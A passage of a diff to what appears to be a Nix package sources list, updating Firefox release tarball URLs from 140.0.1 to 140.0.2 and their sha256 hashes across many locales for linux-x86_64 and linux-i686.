-      sha256 = "021436797c02cfa7cbb95a2396ebf5b8f4926e6df70c243b3a86e10ceb65a345";
+      sha256 = "23431f9be624313c735504839e57fe9d47a529f54e6d7f7b4b89c6d65dca46e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/skr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/skr/firefox-140.0.2.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "1e465afebcc4980b1d0ba78cebe96dfb397bdeca73c59e6ba88cb22037abe658";
+      sha256 = "2a55f81b4539d4ae3e67c3b38f908d7c89a0d21c679c9c1a66eff3fb132aeef2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sl/firefox-140.0.2.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "166bf313e453bc83869a935e456281947c393557459b6516f7c8f1534e95581e";
+      sha256 = "83b3ed4227201fe2bb211a9220075e81a4e25ca474a270ff3dab3aede93f0bda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/son/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/son/firefox-140.0.2.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "2785181db1161e7fba0cd638b5722c15adf6c4f718a9719a027fa9ff1fbaed1c";
+      sha256 = "bc6b2351357684f75284fe37afa3ea12ca671fa12d848fefc018e4bf7a28f29c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sq/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sq/firefox-140.0.2.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "6d88c6a5db7b6131e076903658f28d6a8f4ab55d20c6b2ec5b06e550d68d3f1e";
+      sha256 = "7e4858b0ba7ffbe8070a1c87fbeb4a2478366ed4bf4f3ef14ed2604159c2834d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sr/firefox-140.0.2.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "4bb3b9e96fe5ab8da7cd59a8b8938134fc657a3449d1372d5e557d2c96d0917a";
+      sha256 = "9a6a1ca2d911b33b98941e1173004986f1bebc186e1a6a65dc6e99b2d27905f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sv-SE/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sv-SE/firefox-140.0.2.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "bb2b76e1aea430dd6bf456de4d94bb4468b5270036f34d29ac891796724c1bb8";
+      sha256 = "34195b184fa6a8aad50e90786be62602544d2d468b8f4cd0fab941b6f2cfc376";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/szl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/szl/firefox-140.0.2.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "62de8392a40473209eaa5b22199cdd00175e234b83d387d9dc12ccbcd61d1dc6";
+      sha256 = "72b8cfe0a99403d735d95efbba2c6e697703bb2fdbd1adbce0121374d6b90c79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ta/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ta/firefox-140.0.2.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "6c0ac342120edc948f016dc596324fc62ddba2d978620798065cdb43f5d918a7";
+      sha256 = "9c0d4011f1705ec2a87d64e6ac326be24a310a9f33a50731433b341a70bd924d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/te/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/te/firefox-140.0.2.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "bcfe180773867ef93797058d6a7edc044c0fbc3b013382146178aa85af6c1c93";
+      sha256 = "9f880735a73310bb3f8e09b8b80f3e36a57a4349c9ef9611956a87445ded12b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/tg/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/tg/firefox-140.0.2.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "889b071f6b7cf44fcb678471e871d02b1732871fc59d67d0e308be81fd71363e";
+      sha256 = "a92a1c3cd36de8882d23a70c7191001f01846ef0deff1065568d59ccd924376e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/th/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/th/firefox-140.0.2.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "06880569da7447dafe0f2d1e64d6c39e4613e9b4af5a438745a313b7bdb7ad7c";
+      sha256 = "a3b38ae33a09730acfb862a3ec698f8efe87c42c7048ac0012fadf759c663de7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/tl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/tl/firefox-140.0.2.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "a9bf47b664e7defcd03523f02edf9f64f467acda091c815a69ce5942b8469733";
+      sha256 = "d5429936c9f02d9a9325a30daad2465df66f90e8c5a500b067b5b975cc7a69f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/tr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/tr/firefox-140.0.2.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "1c17ba73c4fbf7b002df276d3f457cc7fb9d33ff1b7be6e68ea7021c40f0cfb6";
+      sha256 = "1ad4d75abb9ce983dd053d9edcb3b910e3d8aa1694c493e64cf336685cdee44e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/trs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/trs/firefox-140.0.2.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "12c5307934772a079212b12d43c1a21366935f1ccfe0b94845b47014ed12f0e2";
+      sha256 = "fbf0f946a55c741d8d93b0d7ec4c6acff39c11f7adaf53d0bb52b3abac7549f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/uk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/uk/firefox-140.0.2.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "a7881fd3e1a4c09b8eecd0577009d69f95632a9cfb0cfe49d3b980ec67749664";
+      sha256 = "f35e7cd88bc7a0d04e9d332e4e1d146087f3b1cd1e7823014c9be433e2b74919";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ur/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ur/firefox-140.0.2.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "11f3a8e53a9fca0cca095adc9c360d78b7e233942501ef2421855e03f17106bb";
+      sha256 = "5e6a5ca058ebfe254c98871e2f0acc5023a3d71979c7610b56b8cd579ad796a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/uz/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/uz/firefox-140.0.2.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "5ccaa891da8b306a547c9be635d8194d33cddce7afaf53cb460481c05334d4d0";
+      sha256 = "b554070e63c7cce2e0e529262cb09028aa525f4a95a867456ab27b01d5bfd6a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/vi/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/vi/firefox-140.0.2.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "a4b1a861ec6b20f5e03c5993f630239db4d8a76f37e10796a036d056febd3f1c";
+      sha256 = "18eba0e1d2825c49ca791a13b967cda18150811c4af7645a75eea193145f7a19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/xh/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/xh/firefox-140.0.2.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "6ddb14382050515f1956b977a02c36a5ffdce824215740f5defec22ee00c3ff5";
+      sha256 = "59650b315866f02f2d9fb5dfd3bce4099e6b4aa48653553a730a85cd30b5ff9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/zh-CN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/zh-CN/firefox-140.0.2.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "82087bd7cc1c08428059948e242a40e4030ccbfdc2c564fef36163a878cd0f14";
+      sha256 = "8c9d65d9462b8982157355145989e7e249242830d1d759cfa48164de7f76d406";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/zh-TW/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/zh-TW/firefox-140.0.2.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "24545443d36833938dcec750d68b795f665070c208c93f2f45effdb05f9a75d8";
+      sha256 = "77e66e8fed62f2899cc25e39906736dfdbb3efb56b2f29ce208b01f2b46ea9e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ach/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ach/firefox-140.0.2.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "81745c26c43c885ef5ad8541412b1ccfd6453a43f19d0256c16fecd370d18c2a";
+      sha256 = "85ebde10a333bab7282b175ff3ad2eaa519b91b0746a6e59e19a4677774c1a14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/af/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/af/firefox-140.0.2.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "aab589c7d05fa36c02b8a02a9604534f656dd9637a4cc5917d161ee4fd8ef2a1";
+      sha256 = "ef4f11da9cefd5cccfb7ebeba2f6571fa69ecee0604e481d38bdb2c10e37cd43";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/an/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/an/firefox-140.0.2.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "dde7c78b01539cb7bce14c4712f4bcd0b870374570229c4ca7f2ca0ede799acc";
+      sha256 = "322c2ff75021e6033236c5af8952593bc11035d1b936391de0c6d7b8859caf97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ar/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ar/firefox-140.0.2.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "67b99717df239f021281b87ab21b8f55292e9ddb853b1dd59d2834e8959afbbb";
+      sha256 = "e4b9b54bdc05614d209df3c5480539843eb7b832ba48e336d16846de63f7338b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ast/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ast/firefox-140.0.2.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "a0493ab300e9bdecae8ff755c3059c57f9d484db9de49268c333eb9d08359405";
+      sha256 = "f83d9920819e2d7e4746ecada967c151dff1a010054f6994f52b211e1d39f2c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/az/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/az/firefox-140.0.2.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "e3812699dcc6ae9c7fe51cdceeb6ee18a8c5477f4e27112b6a4d15e12fe8f3e2";
+      sha256 = "8741405c7173581127bab43cd3bb12b89a5a5af2d0bd62326d0aa35aaf068b9b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/be/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/be/firefox-140.0.2.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "6fe37bb8869b7443913ef337493375c76bd73c76bd4a9ff979ee4fe59fb3575f";
+      sha256 = "72402f8097dd729b430890de299ee3833eb7d9766837746f475c2caa094031d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/bg/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/bg/firefox-140.0.2.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "90e5dff93bd46c1285ab0273fd79c853d6f93bf99906ea9b98422ef0f12d00d0";
+      sha256 = "36a5940709aa5f0083f34eec767185d3774a7e17ccba12f50e92e7b3e52a05c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/bn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/bn/firefox-140.0.2.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "cc138c1bd4961f8e6b42d403e042edf0f9832643dcff3a8d8dfc4c267f03636e";
+      sha256 = "f5a74bc15c324e22eccff2e780be09622300c979ec2c817ae4795c063a3e97b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/br/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/br/firefox-140.0.2.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "ce545fa6eb3b32ad95f462b7c8eafc1434fdf958ee6fd13583177d071428d23d";
+      sha256 = "8b212f1b1697eb31e0145858171e32c59e21d0af2a557b29f11f41ec8f964365";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/bs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/bs/firefox-140.0.2.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "c47e9b4d31633369d333cd3436fd5000ca9a5e8683d64aea834d246d78f13dd0";
+      sha256 = "687ff1bbee0f71afb3a59c6287a9ecaee4bba60e670373e5d72b212d4a367a8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ca-valencia/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ca-valencia/firefox-140.0.2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "f3724c83b36cd4d287fec8aefbe28a6ec56fddab541cab5c0db0cc852fcf76c8";
+      sha256 = "3bdb6457717e87d4af1a59199dfca5983483a7e6af2b7e89114cd764d9e0ac26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ca/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ca/firefox-140.0.2.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "00d5ed5dda013aec1b486b09c03a316db1ce7e6311530826c14acd41ca76d6a1";
+      sha256 = "6731d518a8550a2cf474fe3c661735bec5724d4774d84c0b2a56eaffe850bec9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/cak/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/cak/firefox-140.0.2.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "be9781c89f5f0981fc6ef4ff33f6c17d0a53c1536559b388df3c9861f458ac0b";
+      sha256 = "b6c74cf2cf12a738824aba735f8c975bb3d1f7f4f4fb3349c781d01425ef3244";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/cs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/cs/firefox-140.0.2.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "083c7fa7117b03d88f10fe0f1d47d1ac030b3ba30a158e5417a4351765c4f652";
+      sha256 = "ff68d28c13e14aa22e9162ebf7846e12ea9fa93e5dd486e862cab909d15ffc18";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/cy/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/cy/firefox-140.0.2.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "2bcef072993cb4750a442b52a7520acc281414e10eb76ffa9b2f55b530ac0fab";
+      sha256 = "69d45fdabca475a679dac82e5e9ff524a93219fa7472d859850b3e48b09bd77a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/da/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/da/firefox-140.0.2.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "c41f34a0cc7fc1d3deed61a4dc76fa6885c7df2e2f76589073e0a5b8febb2ada";
+      sha256 = "13d854824d0a07aa091625e9a3fb558d5bc1f0cd495ca053aa259a089a7633e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/de/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/de/firefox-140.0.2.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "a3b7e12135e99890ad77688140990ffb71e24d259762280918519fcc390a9765";
+      sha256 = "f63a41183122ede2c0b3313fcdb5aad9a39ffa980fb99034c2fbfdf2f0139ee4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/dsb/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/dsb/firefox-140.0.2.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "81840cbf53cf8a8d2bc228b6c7fa17ec3fa59d6fb674be4f51aafe69c4dae7e7";
+      sha256 = "dc0bcf2150fb45189e99ed532420d6015a965394c8c57618329a2192dd7e5a21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/el/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/el/firefox-140.0.2.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "d3c9c23e4ca58fb8fa3117ee9db67b0417aeba6c55d4d1146b42c8b96dac2497";
+      sha256 = "a74fd1c406a2f4960cbe3a800bd0e40466f0a001f0bd64a3dd30ce50af3c7ed0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/en-CA/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/en-CA/firefox-140.0.2.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "ef7a69e65114c59811cd003de66466fdc05276ef913024d60808eec1a294a3a1";
+      sha256 = "9d96ba8a39774235137f6748c59895a3cf95380904d93a4891b521b3f2c692f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/en-GB/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/en-GB/firefox-140.0.2.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "86996f5da6d2248997527a55cd028b23b3128a3105d8358a405a04279c483558";
+      sha256 = "b8fe905ea964649b0c4ca6703bdfa4e484974fb9717c8dd6d313c23c066261b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/en-US/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/en-US/firefox-140.0.2.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "c374dcbd99bd31545db9d3d719a19fb533a2105aac3df9274c854bb011889bbc";
+      sha256 = "7237c46e28e15c58ab9c3d35a75cf32f669c0bea0224f66f7742fb30289faa53";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/eo/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/eo/firefox-140.0.2.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "d2e9ac1e0c0825ff3e122d7dd6b27aa4116a87c1318569b3f6f399bbe5df0ccb";
+      sha256 = "c9528279e1d2f61cfb397a969fc5f28ec0b046b02e76f8b0fe3940f65c0519b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/es-AR/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/es-AR/firefox-140.0.2.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "c4fac942ac2dedfb123849c931c3b45eca48d5f210b719829379b8414e07c700";
+      sha256 = "6d387d863437f98a8a608a3236d1211c3650189c30449251d79fce0cde44db19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/es-CL/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/es-CL/firefox-140.0.2.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "10808bcaf262a9822f19096fb3293135b2102c8732cd4931ac36ca6d503ad556";
+      sha256 = "389faa055f1e16f3f8dab4ec2a734597cabfd11fb2c84d1cf9d5d9220bdffeeb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/es-ES/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/es-ES/firefox-140.0.2.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "254ca00a0eb7da8d69903297025c6cf4ab72673928deba24a3056bb0b88d822e";
+      sha256 = "a72790c89cac16d0d072f8b2dfe95497b924c9fcdb9373cbc5a7f28d73f3d108";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/es-MX/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/es-MX/firefox-140.0.2.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "fecd61c3bed1eb2c477565481c1eae0942da0afeabbd0781ef74f47f597dfafd";
+      sha256 = "22370da2c4a6a72f82fe2f4134a890b2e5232095037a8f2d6ae2fa3578eb99dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/et/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/et/firefox-140.0.2.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "acec4444d158fbf67f255653cc82c837bef8062125a1189e05ee557d4afcf532";
+      sha256 = "5a322b8185f8dc0aa940c0c4f00ded6db90a010f6a6680eda909fef8cb200674";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/eu/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/eu/firefox-140.0.2.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "9b9342ed61c3fb279f111198c96d65de5550e3cbf53014ce8673ae41829e0c3f";
+      sha256 = "784f3266156a739535e7a3c8734e700aa92f70c7dd620542598a47568f58941f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fa/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fa/firefox-140.0.2.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "f83fc4ab070de0b5f6fc4c2df595017ae9cbfcd0e92039765411d547d972473b";
+      sha256 = "02fb858bc7a2af197c80e01df0e182aef127d1d31eddd149d58eedc9e6e3b8a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ff/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ff/firefox-140.0.2.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "1db983222bef97e67ffe712eef63dffe1a7205fc50e69bf770a68997bfa7fa48";
+      sha256 = "a260206f7e5330505204b328636152eb6becfcc5905298af859ca00c571f8f69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fi/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fi/firefox-140.0.2.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "c2889c837bd0e8da0f4c0cc7de52233afc641f4bfa2375a251922713b7fa43ff";
+      sha256 = "be27347a1082f2769ffff328e968711649e42dd1ebb5046b7a548da204d45d06";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fr/firefox-140.0.2.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "a4dcee56da1976cddce142a3f06eac9650ca1eb30be89dcae84b073c5817d6ba";
+      sha256 = "6a5c02ae5cbb1c4e8480ccd0654579ee4db322944a025f81c8bea85e7a1eb4a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fur/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fur/firefox-140.0.2.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "bc607a3310c7155dc85664373c7ec19625fc8fe937f860af6f320ad282702850";
+      sha256 = "5ff8b09c2887e89ac62cd2a9363f77e72605622937a0914fe969fe9187ca02c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fy-NL/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fy-NL/firefox-140.0.2.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "0236a14206e9d0691bde518c89d9d6a0edf3e45545ced6c8743fa506cb608863";
+      sha256 = "806cccaada32105c2386eb224d9378f954d32c124ee6217a48e49316a4c359b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ga-IE/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ga-IE/firefox-140.0.2.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "8e20953a6a9ca9065f87009e6122785ad507b13fbeb39f1ccedc06d2d9486971";
+      sha256 = "10dfe7240917e4ebed53e7bb820c7c08aeb8bc44aa3245eae8327433bb284edd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/gd/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/gd/firefox-140.0.2.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "69f59914d905f6248835c17e99cb16dc71464893c8767df71eec993de2bf0db7";
+      sha256 = "3555779acd6c2de51ceadf4d8a51e3f907916739b4c2297bceccc69e2a0dccd4";
     }
     {
